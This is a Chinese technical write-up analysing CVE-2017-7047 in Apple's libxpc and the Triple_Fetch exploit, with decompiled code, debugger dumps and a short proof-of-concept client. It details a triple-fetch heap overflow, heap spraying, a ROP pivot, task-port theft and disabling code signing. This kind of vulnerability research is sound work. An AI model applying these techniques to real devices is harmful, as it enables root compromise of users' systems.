CVE-2017-7047 Triple_Fetch 漏洞与利用技术分析
<p>昨天 Google Project Zero 的 Ian Beer 发布了 CVE-2017-7047 的漏洞细节,以及一个叫 Triple_Fetch 的漏洞利用 app,可以拿到所有 10.3.2 及以下版本的用户态Root+无沙盒权限,昨天我看了一下这个漏洞和利用的细节,总得来说整个利用思路还是非常精妙的。我决定写这篇文章,旨在尽可能地记录下 Triple_Fetch 以及 CVE-2017-7047 的每一个精彩的细节。</p> <h2>CVE-2017-7047 漏洞成因与细节</h2> <p>这是个 libxpc 底层实现的漏洞。我们知道,其实 libxpc 是在 macOS/iOS 的 mach_msg 基础上做了一层封装,使得以前一些因为使用或开发 MIG 接口的过程中因为对 MIG 接口细节不熟悉导致的漏洞变得越来越少。有关 MIG 相关的内容可以参考 <a href="/misc/goto?guid=4959751201483698334" rel="nofollow,noindex">我以前的文章</a> ,这里不再详细叙述。</p> <p>XPC 自己实现了一套类似于 CFObject/OSObject 形式的对象库,对应的数据结构为 OS_xpc_xxx (例如 OS_xpc_dictionary , OS_xpc_data 等),当客户端通过XPC发送数据时, _xpc_serializer_pack 函数会被调用,将要发送的 OS_xpc_xxx 对象序列化成 binary 形式。注意到,如果发送的数据中存在 OS_xpc_data 对象(可以是作为 OS <em>xpc</em> array 或者 OS <em>xpc</em> dictionary 等容器类的元素)时,对应的 serialize 函数 _xpc_data_serialize 会进行判断:</p> <pre> <code class="language-cpp">__int64 __fastcall _xpc_data_serialize(__int64 a1, __int64 a2) { ... if ( *(_QWORD *)(a1 + 48) > 0x4000uLL ) //这里判断data的长度 { v3 = dispatch_data_make_memory_entry(*(_QWORD *)(a1 + 32)); //获取这块内存的send right ... } ... }</code></pre> <p>当 OS_xpc_data 对象的数据大于 0x4000 时, _xpc_data_serialize 函数会调用 dispatch_data_make_memory_entry , dispatch_data_make_memory_entry 调用 mach_make_memory_entry_64 。 mach_make_memory_entry_64 返回给用户一个 mem_entry_name_port 类型的 send right, 用户可以紧接着调用 mach_vm_map 将这个 send right 对应的 memory 映射到自己进程的地址空间。也就是说,对大于 0x4000 的 OS_xpc_data 数据,XPC 在传输的时候会避免整块内存的传输,而是通过传 port 的方式让接收端拿到这个 memory 的 send right,接收端接着通过 mach_vm_map 的方式映射这块内存。接收端反序列化 OS_xpc_data 的相关代码如下:</p> <pre> <code class="language-cpp">__int64 __fastcall _xpc_data_deserialize(__int64 a1) { if ( _xpc_data_get_wire_value(a1, (__int64 *)&v8, &v7) ) //获取data内容 { ... } return v1; } char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3) { ... if ( v6 ) { v7 = *v6; if ( v7 > 0x4000 )//数据大于0x4000时,则获取mem_entry_name_port来映射内存 { v8 = 0; name = 0; v17 = 0; v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17); //获取mem_entry_name_port send right if ( name + 1 >= 2 ) { v9 = v17; if ( v17 == 17 ) { v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19); //调用_xpc_vm_map_memory_entry映射内存 ... } } ... }</code></pre> <p>之后就是最关键的 _xpc_vm_map_memory_entry 逻辑了,可以看到,在 macOS 10.12.5 或者 iOS 10.3.2 的实现中,调用 mach_vm_map 的相关参数如下:</p> <pre> <code class="language-cpp">kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, _QWORD *a3) { result = mach_vm_map( *(_DWORD *)mach_task_self__ptr, (mach_vm_address_t *)&v5, size, 0LL, 1, object, 0LL, 0, // Booleean copy 0x43, 0x43, 2u); }</code></pre> <p>mach_vm_map 的官方参数定义如下:</p> <pre> <code class="language-cpp">kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);</code></pre> <p>值得注意的是最后第四个参数 boolean_t copy, 如果是 0 代表映射的内存与原始进程的内存共享一个物理页,如果是 1 则是分配新的物理页。</p> <p>在 _xpc_data_deserialize 的处理逻辑中,内存通过共享物理页的方式(copy = 0)来映射,这样在客户端进程中攻击者可以随意修改 data 的内容从而实时体现到接收端进程中。虽然在绝大多数情况下,这样的修改不会造成严重影响,因为接收端本身就应该假设从客户端传入的 data 是任意可控的。但是如果这片数据中存在复杂结构(例如length等field),那么在处理这片数据时就可能产生 double fetch 等条件竞争问题。而 Ian Beer 正是找到了一处”处理这个data时想当然认为这块内存是固定不变的错误”,巧妙地实现了任意代码执行,这部分后面详细叙述,我们先来看看漏洞的修复。</p> <h2>CVE-2017-7047 漏洞修复</h2> <p>这个漏洞的修复比较直观,在 _xpc_vm_map_memory_entry 函数中多加了个参数,指定 vm_map 是以共享物理页还是拷贝物理页的方式来映射:</p> <pre> <code class="language-cpp">char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3) { ... if ( v7 > 0x4000 ) { v8 = 0; name = 0; v17 = 0; v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17); if ( name + 1 >= 2 ) { v9 = v17; if ( v17 == 17 ) { v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19, 0);//引入第四个参数,指定为0 } } } ... } kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, mach_vm_address_t *a3, unsigned __int8 a4) { ... result = mach_vm_map(*(_DWORD *)mach_task_self__ptr, &address, size, 0LL, 1, object, 0LL, a4 ^ 1, // 异或1后,变为1 0x43, 0x43, 2u); ... }</code></pre> <p>可以看到,这里把映射方式改成拷贝物理页后,问题得以解决。</p> <h2>Triple_Fetch利用详解</h2> <p>如果看到这里你还不觉得累,那么下面的内容可能就是本文最精彩的内容了(当然,估计会累)。</p> <h3>一些基本知识</h3> <p>我们现在已经知道,这是个 XPC 底层实现的漏洞,但具体能否利用,要看特定 XPC 服务的具体实现,而绝大多数 XPC 服务仅仅将涉及 OS_xpc_data 对象的 buffer 作为普通数据内容来处理,即使在处理的时候 buffer 内容发生变化,也不会造成大问题。而即便找到有问题的案例,也仅仅是影响部分 XPC 服务。把一个通用型机制漏洞变成一个只影响部分 XPC 服务的漏洞利用,可能不是一种好策略。</p> <p>因此,Ian Beer 找到了一个通用利用点,那就是 NSXPC。NSXPC 是比 XPC 更上层的一种进程间通信的实现,主要为 Objective-c 提供进程间通信的接口,它的底层基于 XPC 框架。我们先来看看 Ian Beer 提供的漏洞 poc:</p> <pre> <code class="language-cpp">int main() { NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.wifi.sharekit" options:NSXPCConnectionPrivileged]; [conn setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol: @protocol(MyProtocol)]]; [conn resume]; id obj = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) { NSLog(@"got an error: %@", err); }]; [obj retain]; NSLog(@"obj: %@", obj); NSLog(@"conn: %@", conn); int size = 0x10000; char* long_cstring = malloc(size); memset(long_cstring, 'A', size-1); long_cstring[size-1] = 0; NSString* long_nsstring = [NSString stringWithCString:long_cstring encoding:NSASCIIStringEncoding]; [obj cancelPendingRequestWithToken:long_nsstring reply:nil]; gets(NULL); return 51; }</code></pre> <p>代码调用了 “com.apple.wifi.sharekit” 服务的 cancelPendingRequestWithToken 接口,其第一个参数为一个长度为 0x10000,内容全是 A 的 string,我们通过调试的方法来理一下调用这个 NSXPC 接口最终到底层 mach <em>msg 的 message 结构,首先断点到 mach</em> msg:</p> <pre> <code class="language-cpp">(lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 * frame #0: 0x00007fffba597760 libsystem_kernel.dylib`mach_msg frame #1: 0x00007fffba440feb libdispatch.dylib`_dispatch_mach_msg_send + 1195 frame #2: 0x00007fffba441b55 libdispatch.dylib`_dispatch_mach_send_drain + 280 frame #3: 0x00007fffba4582a9 libdispatch.dylib`_dispatch_mach_send_push_and_trydrain + 487 frame #4: 0x00007fffba455804 libdispatch.dylib`_dispatch_mach_send_msg + 282 frame #5: 0x00007fffba4558c3 libdispatch.dylib`dispatch_mach_send_with_result + 50 frame #6: 0x00007fffba6c3256 libxpc.dylib`_xpc_connection_enqueue + 104 frame #7: 0x00007fffba6c439d libxpc.dylib`xpc_connection_send_message + 89 frame #8: 0x00007fffa66df821 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:timeout:userInfo:] + 3899 frame #9: 0x00007fffa66de8e0 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:] + 32 frame #10: 0x00007fffa4cbf54a CoreFoundation`___forwarding___ + 538 frame #11: 0x00007fffa4cbf2a8 CoreFoundation`__forwarding_prep_0___ + 120 frame #12: 0x0000000100000da4 nsxpc_client`main + 404 frame #13: 0x00007fffba471235 libdyld.dylib`start + 1</code></pre> <p>观察它的 message header 结构:</p> <pre> <code class="language-cpp">(lldb) x/10xg $rdi 0x10010bb88: 0x0000006480110013 0x0000000000001303 0x10010bb98: 0x100000000000150b 0x00001a0300000001 0x10010bba8: 0x0011000000000000 0x0000000558504321 0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002 0x10010bbc8: 0x0000800000000000 0x786f727000034000 typedef struct { mach_msg_bits_t msgh_bits; mach_msg_size_t msgh_size; mach_port_t msgh_remote_port; mach_port_t msgh_local_port; mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t;</code></pre> <p>这里发送的是一个复杂消息,长度为 0x64。值得注意的是,所有 XPC 的 msgh <em>id 都是固定的 0x10000000,这与 MIG 接口的根据 msgh</em> id 号来作 dispatch 有所不同。由于这个消息用到了大于 0x4000 的 OS_xpc_data 数据,因此 message_header 后跟一个 mach_msg_body_t 结构,这里的值为1(偏移0x18的4字节),意味着之后跟了一个复杂消息,而偏移 0x1c 至 0x28 的内容是一个 mach_msg_port_descriptor_t 结构,其定义如下:</p> <pre> <code class="language-cpp">typedef struct { mach_port_t name; // Pad to 8 bytes everywhere except the K64 kernel where mach_port_t is 8 bytes mach_msg_size_t pad1; unsigned int pad2 : 16; mach_msg_type_name_t disposition : 8; mach_msg_descriptor_type_t type : 8; } mach_msg_port_descriptor_t;</code></pre> <p>偏移 0x1c 处的 0x1a03 是一个 mem_entry_name_port ,也就是 0x10000 的 ’A’ buffer 对应的 port。</p> <p>从 0x28 开始的 8 字节为真正的 xpc 消息的头部,最新的 mac/iOS 上,这个头信息是固定的: 0x0000000558504321,也就是字符串 “!CPX”(XPC!的倒序),以及版本号 0x5,接下来跟的是一个序列化过的 OS_xpc_dictionary 结构:</p> <pre> <code class="language-cpp">(lldb) x/10xg 0x10010bbb8 0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002 0x10010bbc8: 0x0000800000000000 0x786f727000034000 0x10010bbd8: 0x000000006d756e79 0x0000000100004000</code></pre> <p>如果翻译成 Human Readable 的格式,应该是这样:</p> <pre> <code class="language-cpp"><dict> <key>root</key> <data>[the data of that mem_entry_name_port]</data> <key>proxynum</key> <integer>1</integer> </dict></code></pre> <p>这里可以看到,这个 serialize 后的 OS <em>xpc</em> data 并没有引用对应的 send right 信息,只是标记它是个 DATA(0x8000),以及它的长度 0x34000。而事实上,在 deserialize 的时候,程序会自动寻找 mach_msg_body_t 中指定的复杂消息个数,并且顺序去寻找后边紧跟的 mach_msg_port_descriptor_t 结构,而序列化过后的 XPC 消息中出现的 OS_xpc_data 与之前填入的 mach_msg_port_descriptor_t 顺序是一致并且一一对应的。用一个简单明了的图来说明,就是这样:</p> <p><img src="https://simg.open-open.com/show/7ddae90e121f6e5ebe86943a8383a09b.png"></p> <p>NSXPC at mach_msg view</p> <p> </p> <p>看到这里,我们对 NSXPC 所对应的底层 mach_msg 结构已经有所了解。但是,这里还遗留了个问题:如果所有 XPC 的 msgh_id 都是 0x10000000,那么接收端如何知道我调用的是哪个接口呢?其中的奥秘,就在这个 XPC Dictionary 中的 root 字段,我们还没有看过这个字段对应的 mem_entry_name_port 对应的 buffer 内容是啥呢,找到这个 buffer 后,他大概就是这个样子:</p> <pre> <code class="language-cpp">(lldb) x/100xg 0x0000000100440000 0x100440000: 0x36317473696c7062 0x00000000020070d0 0x100440010: 0x70d000766e697400 0x7700000000000200 0x100440020: 0x7d007373616c6324 0x61636f766e49534e 0x100440030: 0x797473006e6f6974 0x0040403a40767600 0x100440040: 0x6325117f00657373 0x6e65506c65636e61 0x100440050: 0x75716552676e6964 0x5468746957747365 0x100440060: 0x7065723a6e656b6f 0xff126fe0003a796c 0x100440070: 0x41004100410041ff 0x4100410041004100 0x100440080: 0x4100410041004100 0x4100410041004100 0x100440090: 0x4100410041004100 0x4100410041004100 0x1004400a0: 0x4100410041004100 0x4100410041004100 0x1004400b0: 0x4100410041004100 0x4100410041004100 0x1004400c0: 0x4100410041004100 0x4100410041004100 0x1004400d0: 0x4100410041004100 0x4100410041004100 0x1004400e0: 0x4100410041004100 0x4100410041004100 0x1004400f0: 0x4100410041004100 0x4100410041004100 0x100440100: 0x4100410041004100 0x4100410041004100 0x100440110: 0x4100410041004100 0x4100410041004100 (lldb) x/1s 0x0000000100440000 0x100440000: "bplist16\xffffffd0p"</code></pre> <p>这是个 bplist16 序列化格式的 buffer,是 NSXPC 专用的,和底层 XPC 的序列化格式是有区别的。这个 buffer 被做成 mem_entry_name_port 传输给接收端,而接收端直接用共享内存的方式获得这个 buffer,并进行反序列化操作,这就创造了一个绝佳的利用点,当然这是后话。我们先看一下这个 buffer 的二进制内容:</p> <p><img src="https://simg.open-open.com/show/74b0214e49400ea28ea29334a774475f.png"></p> <p>bplist sample to call cancelPendingRequestWithToken</p> <p> </p> <p>这个 bplist16 格式的解析比较复杂,而且 Ian Beer 的实现里也只是覆盖了部分格式,大致转换成 Human Readable 的形式就是这样:</p> <pre> <code class="language-cpp"><dict> <key>$class</key> <string>NSInvocation</string> <key>ty</key> <string>v@:@@</string> <key>se</key> <string>cancelPendingRequestWithToken:reply:</string> AAAAAAAAAA </dict></code></pre> <p>这里的 ty 字段是这个 objc 接口的函数原型,se 是 selector 名称,也就是接口名字,后面跟的 AAAA 就是他的参数内容。接收端的 NSXPC 接口正是根据这个 bplist16 中的内容来分发到正确的接口并给予正确的接口参数的。</p> <p>Ian Beer 提供的 PoC 是跑在 macOS 下的,因此他直接调用了 NSXPC 的接口,然后通过</p> <p>DYLD_INSERT_LIBRARIES 注入的方式 hook 了 mach_make_memory_entry_64 函数,这样就能获取这个 send right 并且进行 vm_map。但是在 iOS 上(特别是没有越狱的 iOS)并不能做这样的 hook,如果从 NSXPC 接口入手我们没有办法获得那块共享内存(其实是有办法的:),但不是很优雅),所以 Ian Beer 在 Triple_Fetch 利用程序中自己实现了一套 XPC 与 NSXPC 对象封装、序列化、反序列化的库,自己组包并调用 mach_msg 与 NSXPC 的服务端通信,实现了利用。</p> <h3>Triple_Fetch 利用 - 如何实现控 PC</h3> <p>Ian Beer 对 NSXPC 的这个 bplist16 的 dictionary 中的 ty 字段做了文章,这个字段指定了 objc 接口的函数原型,NSXPC 底层会去解析这个 string,如果@后跟了个带冒号的字符串,例如:@”mfz”,则 CoreFoundation 中的 __NSMS 函数会被调用:</p> <pre> <code class="language-cpp">10 com.apple.CoreFoundation 0x00007fffb8794d10 __NSMS1 + 3344 11 com.apple.CoreFoundation 0x00007fffb8793552 +[NSMethodSignature signatureWithObjCTypes:] + 226 12 com.apple.Foundation 0x00007fffba1bb341 -[NSXPCDecoder decodeInvocation] + 330 13 com.apple.Foundation 0x00007fffba46cf75 _decodeObject + 1243 14 com.apple.Foundation 0x00007fffba1ba4c7 _decodeObjectAfterSettingWhitelistForKey + 128 15 com.apple.Foundation 0x00007fffba1ba40d -[NSXPCDecoder decodeObjectOfClass:forKey:] + 129 16 com.apple.Foundation 0x00007fffba1c6c87 -[NSXPCConnection _decodeAndInvokeMessageWithData:] + 326 17 com.apple.Foundation 0x00007fffba1c6a72 message_handler + 685 18 libxpc.dylib 0x00007fffce196f96 _xpc_connection_call_event_handler + 35 19 libxpc.dylib 0x00007fffce19595f _xpc_connection_mach_event + 1707 20 libdispatch.dylib 0x00007fffcdf13726 _dispatch_client_callout4 + 9 21 libdispatch.dylib 0x00007fffcdf13999 _dispatch_mach_msg_invoke + 414 22 libdispatch.dylib 0x00007fffcdf237db _dispatch_queue_serial_drain + 443 23 libdispatch.dylib 0x00007fffcdf12497 _dispatch_mach_invoke + 868 24 libdispatch.dylib 0x00007fffcdf237db _dispatch_queue_serial_drain + 443 25 libdispatch.dylib 0x00007fffcdf16306 _dispatch_queue_invoke + 1046 26 libdispatch.dylib 0x00007fffcdf2424c _dispatch_root_queue_drain_deferred_item + 284 27 libdispatch.dylib 0x00007fffcdf2727a _dispatch_kevent_worker_thread + 929 28 libsystem_pthread.dylib 0x00007fffce15c47b _pthread_wqthread + 1004 29 libsystem_pthread.dylib 0x00007fffce15c07d start_wqthread + 13</code></pre> <p>这个函数的第一个参数指向 bplist16 共享内存偏移到 ty 字段@开始的地方,该函数负责解析后面的字串,关键逻辑如下:</p> <pre> <code class="language-cpp">_BYTE *__fastcall __NSMS1(__int64 *a1, __int64 a2, char a3) { v6 = __NSGetSizeAndAlignment(*a1);// A. 获取这个@"xxxxx...." string的长度 buffer = calloc(1uLL, v6 + 42 - *a1); //根据长度分配空间 v9 = buffer + 37; while ( 2 ) //重新扫描字符串 { v150 = v7 + 1; v120 = *v7; switch ( *v7 ) { case 0x23: ... case 0x2A: ... case 0x40: //遇到'@' if ( v20 == 34 ) //下一字节是'"'则开始扫描下一个冒号 { ... while ( v56 != 34 ) //B. 扫描字符串,找到第二个冒号 { v56 = (v57++)[1]; if ( !v56 ) //中间不得有null字符 goto LABEL_ERROR; } if ( v57 ) { v109 = v150 + 1; do { *v9++ = v55; v110 = v109; if ( v109 >= v57 ) break; v55 = *v109++; } while ( v55 != 60 ); //C. 拷贝字符串@"xxxxx...."至buffer }</code></pre> <p>Ian Beer 构造的初始字符串是 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 , 其中 mfz 字串是运行时随机生成的3个随机字母,这是为了避免 Foundation 对已经出现过的字符串进行 cache 而不分配新内存(因为利用需要多次触发尝试)。</p> <ol> <li> <p>在 A 处,调用 __NSGetSizeAndAlignment 得到的长度是6(因为@”mfz”长度为6),因此 calloc 分配的内存长度是48(42 + 6)。而 buffer 的前 37 字节用于存储 metadata,所以真正的字符串会拷贝在 buffer+37 的地方。</p> </li> <li> <p>在计算并分配好“合理“长度的buffer后, __NSMS1 函数在 B 处重新扫描这个字符串,找到第二个冒号的位置(正常情况下,也就是@”mfz”的第二个冒号位置),但需要注意,在第二个冒号出现之前,不能有 null string</p> </li> <li> <p>在C处,程序根据刚才计算的“第二个冒号”的位置,开始拷贝字串到 buffer+37 位置。</p> </li> </ol> <p>Ian Beer通过在客户端app操作共享内存,改变 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 的某几字节,构造出一个绝妙的 Triple_Fetch 的状态,使得:</p> <ol> <li> <p>在 A 处计算长度时,字符串是 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 ,因此 calloc 了 48 字节(6+42)</p> </li> <li> <p>在 B 处,字符串变为 @”mfzAAAAAA\x20\x40\x20\x20\x01\x41\x41\x41”\x00 , 这样第二个冒号到了倒数第二个字节的位置(v57的位置)</p> </li> <li> <p>在 C 处,字符串变为 @”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 ,程序将整个 @”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00” 拷贝到 buffer+37 位置</p> </li> </ol> <p>如果只是要触发堆溢出,那1和2构造的 double fetch 已经足够,但如果要控 PC,Ian Beer 选择的是覆盖 buffer 后面精心分布的 OS_xpc_uuid 的对象,该对象大小恰巧也是48字节,并且其前8字节为 obj-c 的 isa (类似c++的 vptr 指针),并且其某些字段是可控的( uuid string 部分),通过覆盖这个指针,使其指向一段spray过的 gadget buffer 进行 ROP,完成任意代码执行。但由于 iOS 下 heap 分配的地址高4位是1,所以 \x20\x40\x20\x20\x01\x41\x41\x41 不可能是个有效的 heap 地址,因此我们必须加上状态3,用 triple fetch 的方式实现代码执行。</p> <p>下图展示了溢出时的内存分布:</p> <p><img src="https://simg.open-open.com/show/453fd7cdd6c9f6de5409988698138fe7.png"></p> <p>overflow to OS_xpc_uuid</p> <p> </p> <p>在 NSXPC 消息处理完毕后,这些布局的 OS_xpc_uuid 就会被释放,因为其 isa 指针已被覆盖,并且新的指针 0x120204020 指向了可控数据,在执行 xpc_release(uuid) 的时候就能成功控制PC。</p> <h3>布局与堆喷射</h3> <p>布局有两个因素需要考虑,其一是需要在特定内存 0x120204020 地址上填入 rop gadget,其二是需要在 0x30 大小的 block 上喷一些 OS_xpc_uuid 对象,这样当触发漏洞 calloc(1,48) 的时候,让分配的对象后面紧跟一个 OS_xpc_uuid 对象。</p> <p>第一点 Ian Beer 是通过在发送的 XPC message 里加入了 200 个 “heap_sprayXXX” 的key,他们的 value 各自对应一个 OS_xpc_data ,指向 0x4000 * 0x200 的大内存所对应的 send right,这块大内存就是 ROP gadget。</p> <p>而第二点是通过在 XPC message 里加入 0x1000 个 OS_xpc_uuid ,为了创造一些 hole 放入 freelist 中,使得我们的 calloc(1,48) 能够占入, Ian Beer 在 add_heap_groom_to_dictionary 函数中采用了一些技巧,比如间隔插入一些大对象等,但我个人觉得这里的 groom 并不是很有必要,因为我们不追求一次触发就利用成功(事实也是如此),每次触发失败后当 OS_xpc_uuid 释放后,就会天然地产生很多 0x30 block 上的 free element,下一次触发漏洞时就比较容易满足理想的堆分布状态。</p> <h3>ROP与代码执行</h3> <p>当接收端处理完消息后 xpc_release(uuid) 就会被触发,而我们把其中一个 uuid 对象的 isa 替换后,我们就控制了 pc。 此事我们的 x0 寄存器指向 OS <em>xpc</em> uuid 对象,而这个对象的 0x18-0x28 的16字节是可控的。 Ian Beer 选择了这么一段作为 stack_pivot 的前置工作:</p> <pre> <code class="language-cpp">(lldb) x/20i 0x000000018d6a0e24 0x18d6a0e24: 0xf9401000 ldr x0, [x0, #0x20] 0x18d6a0e28: 0xf9400801 ldr x1, [x0, #0x10] 0x18d6a0e2c: 0xd61f0020 br x1</code></pre> <p>这样就完美地将 x0 指向了我们完全可控的 buffer 了。</p> <p>ROP 如何获取目标进程的 send right</p> <p>由于 ROP 执行代码比较不优雅,效率也低,Ian Beer 在客户端发送 mach_msg 时,在 XPC message 的 dictionary 中额外加入了 0x1000 个 port,将其 spray 到接收端进程,由于 port_name 的值在分配的时候是有规律的,接收端在ROP的时候调用64次 mach_msg,remote_port 设置成从 0xb0003 开始,每次+4,而 reply_port 设置为自己进程的task port,消息id设置为 0x12344321。在这 64 次发送中,只要有一次send right port <em>name 猜中,客户端就可以拿着 port</em> set 中的 receive right 尝试接收消息,如果收到的消息 id 是 0x12344321 那客户端拿到的 remote port 就是接收端进程的 task send right。</p> <h3>接收端进程的选择</h3> <p>由于是通杀NSXPC的利用,只要是进程实现了NSXPC的服务,并且container沙盒允许调用,我们都可以实现对端进程的代码执行。尽管如此,接收端进程的选择还是至关重要的。简单的来讲,我们首选的服务进程当然是Root权限+无沙盒,并且服务以OnDemand的形式来启动。这样的服务即使我们攻击失败导致进程崩溃,用户也不会有任何感觉,而且可以重复尝试攻击直到成功。</p> <p>Ian Beer在这里选择了coreauthd进程,还有一个重要的原因,是它可以通过调用processor <em>set</em> tasks来获取系统任意进程的send right从而绕过进程必须有get-task-allow entitlement才能获取其他进程send right的限制。而这个技巧Jonathan Levin在2015年已经详细阐述,可以参考 <a href="/misc/goto?guid=4959751201575970303" rel="nofollow,noindex">这里</a> 。</p> <h3>后期利用</h3> <p>在拿到 coreauthd 的 send right 后,Ian Beer 调用 thread_create_running 在 coreauthd 中起一个线程,调用 processor_set_tasks 来获得系统所有进程的 send right。然后拿着 amfid 的 send right 用与 mach portal 同样的姿势干掉了代码签名,最后运行 debugserver 实现调试任意进程。</p> <p> </p> <p>来自:http://paper.seebug.org/366/</p> <p> </p>
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